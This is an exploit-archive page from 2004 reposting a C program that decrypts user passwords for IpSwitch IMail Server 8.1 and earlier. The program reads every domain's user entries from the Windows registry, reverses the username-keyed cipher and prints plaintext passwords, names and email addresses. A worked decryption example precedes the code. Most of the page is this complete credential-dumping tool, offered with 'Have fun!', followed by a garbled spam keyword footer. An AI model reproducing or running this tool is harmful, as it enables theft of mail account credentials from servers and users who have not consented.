about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , IpSwitch IMail Server <= 8.1 local password decryption utility



2004-08-18 IpSwitch IMail Server <= 8.1 local password decryption utility
/*********************************************************************************
* IpSwitch IMail Server <= ver 8.1 User Password Decryption
* 
* by Adik < netmaniac hotmail KG > 
* 
* IpSwitch IMail Server uses weak encryption algorithm to encrypt its user
passwords. It uses
* polyalphabetic Vegenere cipher to encrypt its user passwords. This
encryption scheme is
* relatively easy to break. In order to decrypt user password we need a
key. IMail uses username
* as a key to encrypt its user passwords. The server stores user passwords
in the registry under 
* the key
"HKEY_LOCAL_MACHINE\SOFTWARE\IpSwitch\IMail\Domains\<domainname>\Users\
* <username>\Password".
* Before decrypting password convert all upper case characters in the
username to lower case
* characters. We use username as a key to decrypt our password.
* In order to get our plain text password, we do as follows:
* 1) Subtract hex code of first password hash character by the hex code of
first username character.
* The resulting hex code will be our first decrypted password character.
* 2) Repeat above step for the rest of the chars.
* 
* Look below, everythin is dead simple ;)
* eg:
*
* USERNAME: netmaniac 
* PASSWORDHASH: D0CEE7D5CCD3D4C7D2E0CAEAD2D3
* --------------------------------------------
* 
* D0 CE E7 D5 CC D3 D4 C7 D2 E0 CA EA D2 D3 <- password hash
* - 6E 65 74 6D 61 6E 69 61 63 6E 65 74 6D 61 <- hex codes of username
* n e t m a n i a c n e t m a <- username is a key
* -----------------------------------------
* 62 69 73 68 6B 65 6B 66 6F 72 65 76 65 72 <- hex codes of decrypted
password
* b i s h k e k f o r e v e r <- actual decrypted password
*
*
* pwdhash_hex_code username_hex_code decrypted_password
* ------------------------------------------------------------------
* D0 - 6E (n) = 62 (b)
* CE - 65 (e) = 69 (i)
* E7 - 74 (t) = 73 (s)
* D5 - 6D (m) = 68 (h)
* CC - 61 (a) = 6B (k)
* D3 - 6E (n) = 65 (e)
* D4 - 69 (i) = 6B (k)
* C7 - 61 (a) = 66 (f)
* D2 - 63 (c) = 6F (o)
* E0 - 6E (n) = 72 (r)
* CA - 65 (e) = 65 (e)
* EA - 74 (t) = 76 (v)
* D2 - 6D (m) = 65 (e)
* D3 - 61 (a) = 72 (r)
* ------------------------------------------------------------------
*
* I've included a lil proggie to dump all the usernames/passwords from
local machine's registry.
* Have fun!
* //Send bug reports to netmaniac[at]hotmail.KG
*
* Greets to: my man wintie from .au, Chintan Trivedi :), jin yean ;),
Morphique
*
* [16/August/2004] Bishkek
*********************************************************************************/


//#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <windows.h>
#define snprintf _snprintf
#pragma comment(lib,"advapi32")
#define ALLOWED_USERNAME_CHARS "A-Z,a-z,0-9,-,_,."
#define MAX_NUM 1024 //500
#define DOMAINZ "Software\\IpSwitch\\IMail\\Domains"
#define VER "1.1"
#define MAXSIZE 100

int total_accs=0;
int total_domainz=0,total_domain_accs=0;
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void greetz()
{
 printf( "\n\t--= [ IpSwitch IMail Server User Password Decrypter ver
%s] =--\n\n"
 "\t\t (c) 2004 by Adik ( netmaniac [at] hotmail.KG
)\n\n\n",VER);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void usage()
{
 printf(
"------------------------------------------------------------------------\n");
 printf( " Imailpwdump [-d] -- Dumps IMail Server user/pwds from
local registry\n\n"
 " Imailpwdump [username] [passwordhash] -- User/PwdHash to
decrypt\n\n"
 " eg: Imailpwdump netmaniac D0CEE7D5CCD3D4C7D2E0CAEAD2D3\n");
 printf(
"------------------------------------------------------------------------\n");
 
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2hex(char *hexstring, char *outbuff)
{ 
 unsigned long tmp=0;
 char tmpchr[5]=""; 
 memset(outbuff,0,strlen(outbuff));
 if(strlen(hexstring) % 2)
 {
 printf(" Incorrect password hash!\n");
 exit(1);
 }
 if(strlen(hexstring)>MAXSIZE)
 {
 printf(" Password hash is too long! \n");
 exit(1);
 }
 for(unsigned int i=0, c=0; i<strlen(hexstring); i+=2, c++)
 {
 memcpy(tmpchr,hexstring+i,2);
 tmp = strtoul(tmpchr,NULL,16); 
 outbuff[c] = (char)tmp; 
 }
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void str2smallcase(char *input)
{
 if(strlen(input)>MAXSIZE)
 {
 printf(" Username too long! \n");
 return;
 }
 for(unsigned int i=0;i<strlen(input);i++)
 {
 if(isalnum(input[i]) || input[i] == '-' || input[i]=='_' ||
input[i]=='.') 
 input[i] = tolower(input[i]); 
 else
 {
 printf(" Bad characters in username!\n Allowed characters:
%s\n",ALLOWED_USERNAME_CHARS);
 return;
 } 
 }
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void populate(char *input,unsigned int size)
{
 char tmp[MAX_NUM]="";
 unsigned int strl = strlen(input);
 strcpy(tmp,input);
 //netmaniacnetmaniacnetman
 for(unsigned int i=strlen(input),c=0;i<size;i++,c++)
 { 
 if(c==strl)
 c=0;
 input[i] = tmp[c];
 }
 input[i]='\0';
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void imail_decrypt(char *username, char *pwdhash,char *outbuff)
{
 //adik 123456
 //adikbek 123
 if(strlen(pwdhash) <= strlen(username) )
 {
 memset(outbuff,0,sizeof(outbuff));
 for(unsigned int i=0;i<strlen(pwdhash);i++) 
 outbuff[i] = (pwdhash[i]&0xff) - (username[i]&0xff); 
 outbuff[i]='\0';
 } 
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void get_usr_pwds(char *subkey,char *usr)
{
 long res;
 HKEY hPwdKey;
 char username[MAXSIZE]="";
 char passwdhash[MAXSIZE*2]="",
passwd[MAXSIZE]="",clearpasswd[MAXSIZE]="";
 char fullname[MAXSIZE]="";
 char email[MAXSIZE]="";
 DWORD lType;
 DWORD
passwdhashsz=sizeof(passwdhash)-1,fullnamesz=MAXSIZE-1,emailsz=MAXSIZE-1;

 res = RegOpenKeyEx(HKEY_LOCAL_MACHINE,subkey,0,KEY_ALL_ACCESS,&hPwdKey);
 if(res!=ERROR_SUCCESS)
 {
 printf(" Error opening key %s! Error #:%d\n",subkey,res);
 exit(1); 
 //return;
 }
 

if(RegQueryValueEx(hPwdKey,"Password",0,&lType,(LPBYTE)passwdhash,&passwdhashsz)!
 = ERROR_SUCCESS)
 {
 RegCloseKey(hPwdKey);
 return;
 }

if(RegQueryValueEx(hPwdKey,"FullName",0,&lType,(LPBYTE)fullname,&fullnamesz)!
 = ERROR_SUCCESS)
 {
 RegCloseKey(hPwdKey);
 return;
 }

if(RegQueryValueEx(hPwdKey,"MailAddr",0,&lType,(LPBYTE)email,&emailsz)!=ERROR_SUCCESS)
 {
 RegCloseKey(hPwdKey);
 return;
 }
 

 str2smallcase(usr);
 strncpy(username,usr,sizeof(username)-1);
 str2hex(passwdhash,passwd);
 // adik 1234567
 // adik 12
 if(strlen(passwd)>strlen(username))
 populate(username,strlen(passwd));
 imail_decrypt(username,passwd,clearpasswd);

 printf(
"------------------------------------------------------------------------\n"
 " FullName:\t %s\n"
 " Email:\t\t %s\n"
 " Username:\t %s\n"
 " Password:\t %s\n",
 fullname,email,usr,clearpasswd);
 total_accs++;
 RegCloseKey(hPwdKey);
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void dump_registry_pwds()
{
 HKEY hKey,hUserKey;
 DWORD domRes=0,usrRes=0, domlen=0,userlen=0,domIndex=0,userIndex=0;
 FILETIME ftime;
 char domain[150]="";
 char user[150]="";
 char tmpbuff[MAX_NUM]="";
 char usrtmpbuff[MAX_NUM]="";
 domRes =
RegOpenKeyEx(HKEY_LOCAL_MACHINE,DOMAINZ,0,KEY_ALL_ACCESS,&hKey);
 if(domRes!=ERROR_SUCCESS)
 {
 printf(" Error opening key '%s'!\n IMail not installed?? Error
#:%d\n",DOMAINZ,domRes);
 exit(1);
 }
 do
 {
 domlen=sizeof(domain)-1;
 domRes=RegEnumKeyEx(hKey,domIndex,domain,&domlen,NULL,NULL,NULL,&ftime);
 if(domRes!=ERROR_NO_MORE_ITEMS)
 {
 printf("\n DOMAIN:\t [ %s ]\n",domain);
 userIndex=0;
 total_accs=0;

snprintf(tmpbuff,sizeof(tmpbuff)-1,"%s\\%s\\Users",DOMAINZ,domain);
 usrRes =
RegOpenKeyEx(HKEY_LOCAL_MACHINE,tmpbuff,0,KEY_ALL_ACCESS,&hUserKey);
 if(usrRes==ERROR_SUCCESS)
 { 
 //adik
 do
 {
 userlen=sizeof(user)-1;

usrRes=RegEnumKeyEx(hUserKey,userIndex,user,&userlen,NULL,NULL,NULL,&ftime);
 if(usrRes!=ERROR_NO_MORE_ITEMS)
 { 

snprintf(usrtmpbuff,sizeof(usrtmpbuff)-1,"%s\\%s\\Users\\%s",DOMAINZ,domain,user);

 get_usr_pwds(usrtmpbuff,user); 
 }
 userIndex++; 
 }
 while(usrRes!=ERROR_NO_MORE_ITEMS);
 RegCloseKey(hUserKey);
 printf("\n\t Total:\t %d Accounts\n",total_accs);
 total_domain_accs += total_accs;
 total_domainz++;
 } 
 domIndex++; 
 }
 }
 while(domRes != ERROR_NO_MORE_ITEMS);
 RegCloseKey(hKey);
 //total_domains += dom
 printf("\n Total:\t %d Domains, %d
Accounts\n",total_domainz,total_domain_accs);

}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void decrypt_usr_pass(char *usr,char *passwd)
{
 char username[MAX_NUM]="";
 char passwordhash[MAX_NUM]="";
 char outputbuff[250]="";

 str2smallcase(usr);
 strncpy(username,usr,sizeof(username)-1);
 str2hex(passwd,passwordhash);

printf("------------------------------------------------------------------------\n");
 printf( " Username:\t\t %s\n"
 " Passwordhash:\t\t %s\n",usr,passwd);
 if(strlen(passwordhash)>strlen(username))
 populate(username,strlen(passwordhash));

 imail_decrypt(username,passwordhash,outputbuff);
 printf(" Decrypted passwd:\t %s\n",outputbuff);

printf("------------------------------------------------------------------------\n");
}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
void main(int argc, char *argv[])
{
 greetz(); 
 
 if(argc ==2 && strncmp(argv[1],"-d",2)==0 )
 {
 //dump passwd from registry
 dump_registry_pwds();
 }
 else if(argc == 3 && strncmp(argv[1],"-d",2)!=0)
 {
 //decrypt username passwd
 decrypt_usr_pass(argv[1],argv[2]);
 }
 else
 {
 usage();
 return;
 }

 // ThE eNd

}
/*OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO*/
securitydot.net - 2004-08-18

Advertising

Copyright 2007, SecurityDot
Mon, 30 Nov 2009 19:58:22 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
Microsoft cybozu ashnews.ph 3pr SEX MOVE tsyouxi.cn remote com hot suckin 200 /compo XXXVEdeo sisxy girl news for c xxnx.not www.mywave nude jothi www.wqxinx ash fuckin mambo Remo news for C asain girl /search/ex indianbabe all.edu-hb WWW.MY LED wwwxxxvido Sexsgiral news for c vBulletin Anak SMA b vulnerabik hot vidio. woltlab olddomainm all cartoo ebook XML-RPC Video sexi all cartoo leilei5777 apache fed sexy fukin www.955gg. SEXWORLD joomla exp news for c 2...ystemi www.hlzzxy ad manager Japan Video sexi